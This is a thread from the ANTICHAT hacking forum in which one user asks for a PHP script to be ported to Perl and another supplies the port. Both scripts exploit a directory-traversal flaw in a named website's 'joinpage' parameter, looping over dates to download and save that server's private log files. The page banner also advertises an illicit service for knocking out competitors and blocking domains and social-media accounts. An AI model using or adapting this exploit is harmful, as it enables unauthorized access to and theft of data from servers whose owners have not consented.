php 2 perl [need help] — ANTICHAT Forum

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
php 2 perl [need help]

Опции темы

Поиск в этой теме

Опции просмотра

php 2 perl [need help]

01.02.2007, 03:03

~~guest3297~~

Banned

Регистрация: 27.06.2006

Сообщений: 1,614

Провел на форуме:
3887520

Репутация: 2996

php 2 perl [need help]

так как перл я вообще не знаю помогите итерпритировать исходник под perl.

PHP код:


		
			
<?

$url = "https://sie.com/index.php?s=test&pg=222&joinpage=../../../../../www/logs/";

$folder = "files";



set_time_limit(0);

for ($date=20050101;$date<20050131;$date++){

$file = @file_get_contents($url."ts_cascade_log.".$date);

if (strlen($file)>1){

$file_write = fopen($folder."/ts_cascade_log.".$date, "w");

fwrite($file_write, $file);

fclose($file_write);

echo "log.$date finish!/n/n, ";

flush();

}



}

?>

Спасибо.

POSTBIT TEST

01.02.2007, 04:04

~~Digimortal~~

Banned

Регистрация: 22.08.2006

Сообщений: 608

Провел на форуме:
6144796

Репутация: 1095

примерно так:

Код:

#!/usr/bin/perl -w

use LWP::Simple;

my $url='https://sie.com/index.php?s=test&pg=222&joinpage=../../../../../www/logs/';

for (20050101..20050131) {
	my $cont=get $url."ts_cascade_log.".$_;
	if ($cont){
	open my $file, ">ts_cascade_log.$_"; 
	print $file $cont ;
	close $file;
print "ts_cascade_log.$_ finished\n";}}

понадобится модуль Crypt::SSLeay, чтоб работало при ssl..

POSTBIT TEST

Последний раз редактировалось Digimortal; 01.02.2007 в 04:09..

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Books PHP	FRAGNATIC	PHP	186	21.02.2010 02:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules